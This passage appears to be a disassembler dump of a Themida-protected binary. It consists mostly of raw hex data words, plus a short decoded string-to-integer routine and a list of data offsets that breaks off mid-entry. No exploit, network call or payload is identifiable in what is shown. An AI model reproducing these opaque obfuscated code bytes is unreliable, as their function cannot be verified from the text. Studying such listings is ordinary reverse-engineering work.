79BD8358h, 93530h, 53501874h dd 2CA9858Bh, 85890935h, 9352CA9h, 0B1409D8Dh, 0D3FF0937h dd 9D8B585Bh, 9353029h, 4EDBD89h, 0C9BA0935h, 8B600555h dd 0C38166C0h, 0BD837D60h, 9351635h, 97840F00h, 6A000005h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 9133C356h, 0D8BF0F93h, 0DE9h, 0B026C400h dd 3F3D560Ch, 4F2CF271h, 0BD83FFB0h, 9351F91h, 1D840F02h dd 51000000h, 297D9589h, 835B0935h, 351B51BDh, 850F0109h dd 8, 48EB8157h, 5A7C66B1h, 2C89BD83h, 0F000935h, 0FC84h dd 0FE900h, 0A8350000h, 2E0A40E0h, 970F7152h, 0B36C0EE1h dd 0E281665Bh, 6A60A35Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0E42DC353h, 8D8B3629h dd 9354B70h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 21C35040h, 9D958B8Dh, 0FE09352Dh, 0E1858901h, 60093513h dd 3B5FBF66h, 68619DB0h, 3E645185h, 3481F18Ah, 64510524h dd 958B603Eh, 9352C95h, 0E16392B9h, 0FF6A6177h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DBC35242h, 91E844CCh dd 10059501h, 95FF0935h, 9351EA1h, 288D958Bh, 6A610935h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 57C351h, 0C5355933h, 3E0E1B1h, 0DE9h, 0E4616F00h dd 60F4C86Dh, 5A0EE70Dh, 8B66490Dh, 9D0960D0h, 93523E1h dd 4B708D8Bh, 0BB660935h, 1FEACFCh, 29519D8Bh, 40680935h dd 60C46DE1h, 8161F18Ah, 1F402404h, 6A3B92h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 34B0FEC3h dd 0FD36A026h, 0BB66688Ah, 0FF6AB04Ch, 5E9h, 0D9B45800h dd 9D235B62h, 9352FA5h, 1EA195FFh, 81660935h, 61316CC3h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 57C35040h dd 718A5C75h, 0BD8DFA57h, 93529E9h, 8B1C4F8Bh, 3510059Dh dd 29016A09h, 3505B195h, 0E8605009h, 0Eh, 7241217Dh, 49F4AFADh dd 8A1347EAh, 0DE9D22Eh, 64000000h, 40FD0478h, 4B5F6341h dd 7226A604h, 28B0F59h, 0B5000000h, 0C8961C4h, 0EB816624h dd 858D7A38h, 9383D39h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0D1C35242h, 8E8h, 341B3400h, 0FF75E063h dd 12E9AFh, 34740000h, 0B0AA398Ah, 67908CC0h, 6AC05EAAh dd 6FA101C9h, 8BD0FF5Bh, 11E9204Fh, 0C4000000h, 0BADE26BAh dd 2FD27E58h, 8FD37432h, 0D998FA76h, 9D8B036Ah, 9350FFDh dd 89D78A50h, 9D8B240Ch, 935259Dh, 3D39858Dh, 958B0938h dd 9351D41h, 2E39958Bh, 0D0FF0935h, 2A6D9D8Bh, 0BD8D0935h dd 93529E9h, 8B92DF80h, 0AE81C4Fh, 0FB000000h, 0E2A2DE9Eh dd 0BD2F8365h, 0AFA5BB90h, 6A5A4CA0h, 57006A01h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 0BEE9228Ch, 0EA69C868h, 0D59D8B67h, 50093510h, 8B240C89h dd 350C1595h, 39858D09h, 6A09383Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8B41C355h dd 350F8995h, 6AD0FF09h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 411C356h, 0F8ABC904h dd 6A204F8Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0AE71C355h, 0AC98ACBAh, 0E9036A51h dd 12h, 5670E121h, 0C7691FB9h, 56FE9656h, 0AA8A27AFh, 5CB22123h dd 50D88B91h, 0A76AE8BBh, 6A9179h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 5DCC62C3h, 8166BA5Ah dd 8DCD69EBh, 383D3985h, 0F00EBA09h, 0D0FF573Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C35343h, 9A60EBD1h dd 89A07A07h, 352AD59Dh, 708D8B09h, 6A09354Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0D5E2C356h, 0B01FE9Eh, 350B6D9Dh, 0C810BA09h, 858B329Fh dd 9354B70h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 1CC35747h, 95897323h, 9350CFDh, 8E900FEh, 60000000h dd 0D5266352h, 891E45FAh, 3503799Dh, 0BB016A09h, 59E9A951h dd 4E8h, 0FF9FFF00h, 9E8FFh, 1C250000h, 0D2A429F2h, 502EE7EDh dd 66310F52h, 585AD08Bh, 5250505Ah, 0D3BA6657h, 310F5BADh dd 585AD6B2h, 424448Bh, 0BE8h, 401E200h, 0D8FD4CF4h, 0A0E1F16Ah dd 0CE9h, 3CDD0F00h, 904D70DEh, 7D4D371Eh, 8B5B5Dh, 0FEA2BB66h dd 4244489h, 9E960h, 798A0000h, 0E130B43h, 0E9C7E66Eh dd 7, 459CCD2Dh, 61A03940h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0EE8AD301h dd 858D6D98h, 9383D43h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 5FC35242h, 79B4B803h, 0C8134DC5h, 0FF92B7AAh dd 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 0D954F50Ch, 0BE9h, 6735B300h, 0B3A777F9h dd 0D0225D24h, 24DD958Bh, 0BD830935h, 9351B85h, 0DA840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 119AC350h, 89843FEAh, 3510AD85h dd 19BD8309h, 109351Ch, 0A7850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C1A589C3h dd 8DD0BF0Fh, 383D4D8Dh, 0D98B6609h, 8B66036Ah, 6A016AD0h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 5137C350h, 0D78B6660h, 10E9h, 0D7905C00h dd 8065A1h, 9AA63082h, 7AE0224Dh, 0FF5B61F3h, 6AD18AD1h dd 2EF38001h, 3350016Ah, 3505099Dh, 0DE95A09h, 4000000h dd 634140FDh, 0A6044B5Fh, 180C7226h, 8D29D1FFh, 9350F35h dd 265EF1E8h, 68C0FF7h, 89000000h, 350501B5h, 0F9206A09h dd 9E9FF6Ah, 0A5000000h, 35EFFDEh, 0E235E4A9h, 1EA195FFh dd 0DA8B0935h, 7894BF60h, 0DE8784Fh, 0C8000000h, 72568B19h dd 6B162BDCh, 526033F9h, 5FCBBF0Fh, 0B861h, 8B660000h dd 0DFBF0FD1h, 840FC00Bh, 63h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 55C35141h, 80644FA0h, 0BD83E2C6h dd 9350331h, 34840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 5DC6C350h dd 0C764F59Ch, 701A386Bh, 0FFDABF0Fh, 350F3D95h, 0B9E1BB09h dd 8BF55ABCh, 3526AD85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 7E900B9h, 0BD000000h dd 0B257DA5h, 0C6094Dh, 0DE900h, 0E4630000h, 44754F17h dd 3D2493B3h, 58487BF5h, 30719D29h, 9E80935h, 0BB000000h dd 75C6A106h, 21A02705h, 8C665BF9h, 0BE8D9h, 740A0000h dd 9DE545EBh, 0BEFFFED1h, 718D8926h, 5B093525h, 30419D8Bh dd 0C1F60935h, 5B840F04h, 0E8000000h, 0Eh, 0FD5E11A6h dd 0C1C8B022h, 576DCDE4h, 0EE9D3C6h, 8F000000h, 0A387FB7Ch dd 0F103E622h, 0C593E2B8h, 2FE95ACFh, 8B000000h, 350B959Dh dd 5B58B09h, 8B09350Ch, 351E0995h, 80C68109h, 0F000011h dd 68Ch, 0DEEB8100h, 0C74064D8h, 6, 0EB816600h, 0B65EBC12h dd 0F8831Fh, 0C7D840Fh, 0F2810000h, 121244BDh, 0F01F883h dd 1B985h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 2E869005h, 5EBABA96h, 0B838B5h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 5EB4C352h, 25F2E02Ah, 28F9958Bh, 0C00B0935h dd 0DB840Fh, 9D010000h, 9352495h, 0C59B509h, 0F8830935h dd 0F5840F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 56D9C356h, 83606EE0h dd 840F03F8h, 55h, 28C0Fh, 0D08A0000h, 0BD89C02Bh, 935025Dh dd 7974BD8Dh, 6A005Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 9390B8C3h, 62425B73h, 0E9CADEB6h dd 9, 3DA8FE7h, 0B7AB8D45h, 0E9E7FF21h, 5, 7FC1C585h, 1B84Ah dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 191027C3h, 4A9158C3h, 292EF6FDh, 352E89B5h dd 74BD8D09h, 60005B79h db 89h, 8Dh word_544F42 dw 2CC9h ; DATA XREF: ___:off_435DD8o dd 0DA810935h, 4FEC982h, 8BE7FF61h, 0FCBD8DDFh, 0E9093541h dd 14h, 0BC876E51h, 0C1FC3C1Bh, 0A32DD0h, 89BCDD8Fh, 2C7C52FBh dd 1D5D9589h, 93E90935h, 0BA000002h, 33A541F1h, 4BCB85C7h dd 50935h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 51F090C3h, 0FD232689h, 0E977D515h dd 11h, 5CB0D668h, 2D2C98B7h, 9ADDF587h, 921E0552h, 5B8A8h dd 68B70000h, 9FCE9h, 0D2816600h, 0F883FB91h, 0F8850F02h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0DCD6C350h, 0B98589EFh, 0F093531h dd 0B8D1B7h, 8A000000h, 0FC00BD1h, 6084h, 4D958B00h, 83093530h dd 840F01F8h, 0FFFFFF5Ch, 0ED58D29h, 0F8830935h, 0D6840F03h dd 89FFFFFEh, 350579B5h, 719D3309h, 2B09350Dh, 8DF08AC0h dd 5B7974BDh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0A7F4DD17h, 2927C866h, 3504A585h dd 8AE7FF09h, 0F4BD8DD0h, 6A093543h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0BA80C351h dd 0CFBB5B6Ah, 0BA669907h, 67E94804h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0B3EBC356h, 0CEF88C28h, 29F96053h, 3523059Dh, 0DDBA6109h dd 835F6899h, 850F03F8h, 3Bh, 21B5958Bh, 0BD8D0935h, 9354588h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7DC35646h dd 0F99C8168h, 35B2DF8Bh, 0F9E9h, 0BD9D2B00h, 8309351Ah dd 850F05F8h, 1Bh, 8E9h, 0BF274A00h, 47190CC9h, 19953158h dd 0E909352Fh, 891h, 83D38B66h, 850F06F8h, 39h, 8DDABF0Fh dd 354780BDh, 918D8909h, 0E9093511h, 0B2h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 18C35545h, 28C0F02h dd 0B7000000h, 7F883D2h, 47850Fh, 0FF80000h, 683h, 7D958B00h dd 8D093502h, 351F9DBDh, 0E9D38A09h, 0F5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h, 0F7279297h dd 66FC68E2h, 31CCF6BBh, 352795B5h, 0AF88309h, 34850Fh dd 81660000h, 8D007ACAh, 354978BDh, 8D0F09h, 66000000h dd 1BE9D88Bh, 0E8000000h, 13h, 81DFDB8Fh, 0AA412929h, 0CDA16FA8h dd 0C5AD80E8h, 0B7BFD479h, 89575AA9h, 35057585h, 4515B909h dd 50BA4363h, 895C945Ch, 3500C195h, 3F8309h, 62840Fh, 958B0000h dd 9352345h, 6A0F30h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8BBB9CC3h, 35220195h, 23C9D109h dd 352CD59Dh, 6A4709h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8BE489C3h, 3502659Dh, 0FF9BE909h dd 0CA81FFFFh, 660E8B7Eh, 31DB65Fh, 351D0195h, 74BD8909h dd 2909354Bh, 35283D95h, 118D8D09h, 6609351Eh, 0FFBBB3BBh dd 351AC9B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 12C07615h, 3D9D8B3Bh, 0F093524h dd 1380h, 0EE900h, 3A8E0000h, 0A2770E3Ah, 8EA13EC1h, 3604A62h dd 0A719858Dh, 8D500937h, 355264BDh, 408D8D09h, 0B809356Dh dd 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h, 9356CC2h dd 6D588D8Dh, 0CF2B0935h, 0C933A4F3h, 0B8h, 74C00B00h dd 31BD8346h, 93503h, 95FF0674h, 9350F3Dh, 4B74B58Bh, 858D0935h dd 937A719h, 858DD0FFh dword_545350 dd 9354191h, 85C7D0FFh, 9350315h, 1, 2689A58Bh, 0B58B0935h ; DATA XREF: ___:off_43D364o dd 9351049h, 0AF9AD8Bh, 0C0330935h, 0BA000CC2h, 0F89524Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 2EC35747h dd 9642C765h, 83F1DDC2h, 350021BDh, 840F0009h, 2Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 7CC35747h, 0D18589BBh dd 0FF093523h, 350C3995h, 4D9D8909h, 8309351Bh, 3515F9BDh dd 850F0009h, 264h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 93C35545h, 0DA8B6610h, 1C19BD83h, 0F010935h dd 23785h, 83D38A00h, 3516B1BDh, 840F0009h, 228h, 0B3FBB66h dd 4BC7BD83h, 0F000935h, 21784h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 9082A072h dd 0B1B8765Dh, 0B985017Eh, 8D09352Bh, 37A71985h, 0D8B70F09h dd 4B74B58Bh, 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 2503FAC3h, 0ACFDF871h, 66FD4533h dd 0D0FFD88Bh, 9E9h, 0DF648D00h, 0F942D090h, 85C62C04h dd 935179Dh, 50006A54h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 918FCA5h, 297A083Dh, 352FBD85h, 4E809h dd 0BEF40000h, 0BA66FF4Eh, 8A50E9F1h, 24448BF1h, 0DF8B6604h dd 8B66008Bh, 244489D8h, 0DE904h, 1F9A0000h, 0F68A2B00h dd 0FC06CC5Dh, 58E9C0F3h, 789B589h, 0B5FF0935h, 9350EC9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0BC35040h dd 578E3C2Dh, 443E9A71h, 6880F82h, 89000000h, 35288995h dd 98858D09h, 6A093538h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 2BF4C353h, 9B0ED60Eh dd 0D0FF1D64h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 93C35141h, 0BFD99B29h, 31ED8C8Bh, 481958Bh, 6A0935h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 97C35040h dd 786617E5h, 5655EC26h, 0C15950Bh, 6A5A0935h, 0DE9FFh dd 81790000h, 33B47A03h, 60C3A14Dh, 0FF2EB7C2h, 609DB7D0h dd 850F60h, 61000000h, 9E8h, 65CD4C00h, 0A41DE1E4h, 615ED2C6h dd 6C5B5FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 413F4DC3h, 0FFEB9060h, 351AC995h dd 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 6E921h, 0E3BF0000h, 0B56DAB73h, 4B74B58Bh dd 958B0935h, 9352431h, 0B50360C3h, 9353329h, 151BDB81h dd 8B6104B0h, 3526ADB5h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 339D7F8Ah, 0C11113C4h dd 0E7D78093h, 840FF60Bh, 3Dh, 0DE9h, 39227C00h, 5ABF2252h dd 86F39A24h, 6C602DFh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0B8D52C60h, 0FFB48686h dd 0BF0F9B54h, 7C8589DAh, 109354Bh, 352EB595h, 0F88309h dd 39D840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0F267A8C3h, 869B6072h, 850F12B7h dd 6, 7E19D8Bh, 0B80935h, 66000000h, 830F69BAh, 840F00F8h dd 129h, 0E8CA8166h, 2F8831Dh, 0C1850Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 43C30AC3h, 0F2C4C95h, 68Ch, 259D8900h, 8B093506h, 35100D95h dd 0F7858D09h, 81093541h, 0F8BD32E2h, 9292D7Bh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 9B1498C3h, 759D8B1Ah, 90093500h, 5E8h, 31D20000h, 0DF8BDDA7h dd 6652505Bh, 5B4A1EBAh, 0BE890h, 7D4B0000h, 0B8E0707Bh dd 0D1C04B6Bh, 0EB81662Bh, 0C35BF6DDh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 2DC35141h, 0F5154D7h, 58Ah dd 0EB05BB00h, 0B85B101Ch, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 38C35545h dd 266E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 2A690892h, 0E9306F31h, 0Ah, 24650D3Eh dd 0AE4850DFh, 0F280DFD7h, 1B80Dh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0C8081C3h dd 9ABC4EBAh, 0A19D036Dh, 8D09352Ah, 3541FCBDh, 6D952909h dd 0E909352Eh, 0F1h, 59FCCA81h, 0F8834D61h, 36850F02h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 1B80C355h, 0B2836BB0h, 0F4BD8DE4h dd 8B093543h, 351C599Dh, 0AFE909h, 0D6800000h, 3F88341h dd 89850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 9B6AC3h, 0E42EBB66h, 8DD18B66h dd 354588BDh, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0F7A88248h, 311894DDh, 38EEBA6Dh dd 4AE9503Bh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 4AD7C355h, 6E8h, 0ACE29300h dd 0FCCD1C2Eh, 0B185095Ah, 83093529h, 850F05F8h, 11h, 17C59503h dd 4AE90935h, 8B000000h, 352AC99Dh, 89525709h, 352B658Dh dd 15B95A09h, 29436345h, 3500199Dh, 3F8309h, 27840Fh, 0E2810000h dd 347FC94Ah, 9D8B0F30h, 93526D1h, 9533C9D1h, 935302Dh dd 25958B47h, 8A093511h, 0FFD3E9DAh, 0B70FFFFFh, 5F883D6h dd 0B5850Fh, 66F90000h, 0A5BAD98Ch, 8B688F63h, 35267595h dd 4C1F609h, 41850Fh, 0D2800000h, 0B8BCh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0DDDC2CC3h, 1138083Bh, 23351DF8h, 3512299Dh, 0C9958B09h dd 0E9093505h, 5Fh, 8BD38B66h, 35109585h, 55006A09h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 17526C7Fh, 9DC7B63Dh, 4860Fh, 0BA660000h, 0E0FFFF09h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E3C35646h dd 57F52DDEh, 1B619589h, 835B0935h, 351AC9BDh, 850F0009h dd 0D9h, 123D9D09h, 50900935h, 0D88B6653h, 9D8B905Ah, 9350119h dd 179D85C6h, 0B2450935h, 4E8C5h, 69690000h, 12E98E72h dd 74000000h, 547E02C4h, 371B55C8h, 0C470DC0h, 8BC87A5Fh dd 8B605037h, 9C2EBBD6h, 8B6173BFh, 66042444h, 8BDE8Bh dd 4244489h, 0FE9h, 4687E800h, 2CDC8D5Ch, 0C83AA411h, 562B9CCBh dd 9E958h, 16A60000h, 0E15B28F8h, 0FF3A2FEAh, 350EC9B5h dd 28F0F09h, 8B000000h, 98858DDFh, 6A093538h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 25F7C353h, 8B98F7FDh, 3530A99Dh, 6880F09h, 89000000h dd 3503F1B5h, 0BBD0FF09h, 78301DB1h, 1AC98589h, 8D010935h dd 9353161h, 8BD38A58h, 3502E99Dh, 0CBBD8309h, 9354Bh dd 7F840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0BB245BC3h, 2E683CA8h, 0B15BD89h dd 0B5FF0935h, 93506C5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0F7C35646h, 759D29A8h, 0FF09350Eh, 351AC995h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 4D958B56h, 8109352Eh, 1515BADBh, 0F8836Fh dd 0E9850Fh, 11E90000h, 3C000000h, 2F86C39Fh, 0EFEB36E6h dd 5E8023BBh, 4709E2DEh, 251958Bh, 0BD830935h, 9350D55h dd 4F840F00h, 0E9000000h, 8, 0E2EDAF7Ch, 0B7B45EB6h, 0D55B5FFh dd 0DA800935h, 1B80Ch, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 80B54DC3h, 8166D4C2h dd 0E95095DBh, 1F7h, 0A83ABB66h, 3719D03h, 0B5FF0935h dd 93506C5h, 0B5FF69B3h, 93506C5h, 0FE8h, 0F8E0B000h, 50905FC2h dd 2085FD13h, 0C8B8270Dh, 2FC59D23h, 895B0935h, 35008DB5h dd 0C9B5FF09h, 0F09351Ah, 0B0E9D1B7h, 51000001h, 10E8h dd 1BC75400h, 0AF10CD59h, 3D1BABB1h, 48E8C592h, 5B5BF8D6h dd 0FE8h, 0FBA44000h, 71E3C52Fh, 88687EAEh, 0BB9BA3CEh dd 351B531h, 5F5A0935h, 976BBB66h, 25A1BD83h, 0F000935h dd 0A185h, 0ED958B00h, 0C6093504h, 35179D85h, 0BA664D09h dd 4E8EDABh, 0A8000000h, 57A43576h, 505B9BB2h, 0AE8h, 4A3E2800h dd 605CAB74h, 0F1CF025h, 584h, 0F58DBB00h, 8B5B5306h, 0BA042444h dd 3F88EC8h, 0EBB7008Bh, 4244489h, 0E858D08Bh, 10h, 0B96020C2h dd 0D32E0DB1h, 43D60DE9h, 291F79FEh, 5BDCCE80h, 57DB5FFh dd 0BA660935h, 858DC44Ah, 9353898h, 11E8h, 0A1672D00h dd 0D0210A55h, 1974F04Dh, 9FEBC69Fh, 0FF5B6BF8h, 0E38166D0h dd 8589FEF1h, 93525A1h, 6358D31h, 0B80935h, 0E9000000h dd 13h, 8B5E776Ah, 49BB4DFDh, 0A74D1187h, 0B9430729h, 89AAA102h dd 354B74BDh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0DC79FDDFh, 0B5890058h, 9350385h dd 840FC00Bh, 1Bh, 0BE9h, 0B904000h, 0C7CE248Eh, 0A3F34D25h dd 62E9h, 0F19D8B00h, 0FF093525h, 351AC9B5h, 0BD8B6009h dd 9351D71h, 1D3D9D8Bh, 66610935h, 858DD98Bh, 937A719h dd 22BAD08Bh, 500B5C4Ah, 0AE8h, 6E5B0F00h, 2BE079A9h, 5AFAAB2Ah dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0DAB0C351h, 663DAE4Eh, 50C242BBh dd 64BD8D56h, 8D093552h, 3578B28Dh, 23BCB809h, 0CF2B7483h dd 0C8D00730h, 0F8754947h, 0BD83585Eh, 9350D55h, 8B067400h dd 350BDD8Dh, 0B8C93309h, 0 dd 840FC00Bh, 99h, 331BD83h, 74000935h, 3D95FF06h, 0B809350Fh dd 0 dd 975C00Bh, 4B7CBD83h, 74010935h, 7CBD8309h, 209354Bh dd 0B58B0E75h, 9354B74h, 0A719858Dh, 0D0FF0937h, 4191858Dh dd 0D0FF0935h, 1F91BD83h, 75020935h, 89A58B2Fh, 8B093526h dd 350D5585h, 24048909h, 31585C7h, 10935h, 0B58B0000h dd 9354B78h, 0AF9AD8Bh, 1B80935h, 0C2000000h, 0EB000Ch dd 31585C7h, 10935h, 0A58B0000h, 9352689h, 1049B58Bh, 0AD8B0935h dd 9350AF9h, 0CC2C033h, 21BD8300h, 93500h, 0BD830F74h dd 9350C39h, 0FF067400h, 350C3995h, 74B58B09h, 0C309354Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F5C35343h dd 11584358h, 0BAFDD680h, 0 dd 21D58D01h db 35h, 9 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_545F9E ; --------------------------------------------------------------------------- loc_545F9C: ; CODE XREF: Themida_:00545FA1j inc eax inc edi loc_545F9E: ; CODE XREF: Themida_:00545F9Aj cmp byte ptr [edi], 0 jnz short loc_545F9C xor ecx, ecx mov edi, [ebp+8] jmp short loc_545FCD ; --------------------------------------------------------------------------- loc_545FAA: ; CODE XREF: Themida_:00545FCFj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_545FC2 ; --------------------------------------------------------------------------- loc_545FBF: ; CODE XREF: Themida_:00545FC5j mul ebx dec esi loc_545FC2: ; CODE XREF: Themida_:00545FBDj cmp esi, 0 ja short loc_545FBF pop ebx add ecx, eax pop eax inc edi dec eax loc_545FCD: ; CODE XREF: Themida_:00545FA8j or eax, eax jnz short loc_545FAA mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 56h dd 6A5B06B7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 5568C351h, 9761C03Bh, 1291B501h dd 0C18B0935h, 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h dd 46068A80h, 0BB470788h, 2, 850FD202h, 5, 1246168Ah, 0E2830FD2h dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh dd 0C0330000h, 850FD202h, 5, 1246168Ah, 2A830FD2h, 2000001h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h dd 885F078Ah, 2BB4707h, 0E9000000h, 0FFFFFF70h, 1B8h, 0FD20200h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5 dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h, 0E88B02D1h dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h dd 0C2611C24h, 29BA0008h, 0E9000009h, 22118h, 25A0028h dd 12FF68h, 5B0412h, 2 dup(5B0904h), 0 dd 25A003Fh, 246h, 2, 1, 3, 0F71EE5CEh, 5 dup(0) dd offset word_54F18E dd offset byte_54ED2D dd offset word_548522 dd offset byte_5511AD dd offset dword_549D54 dd offset dword_546F34 dd offset byte_54BD2B dd offset dword_54D764 dd offset byte_54838F dd offset byte_54E007 dd offset 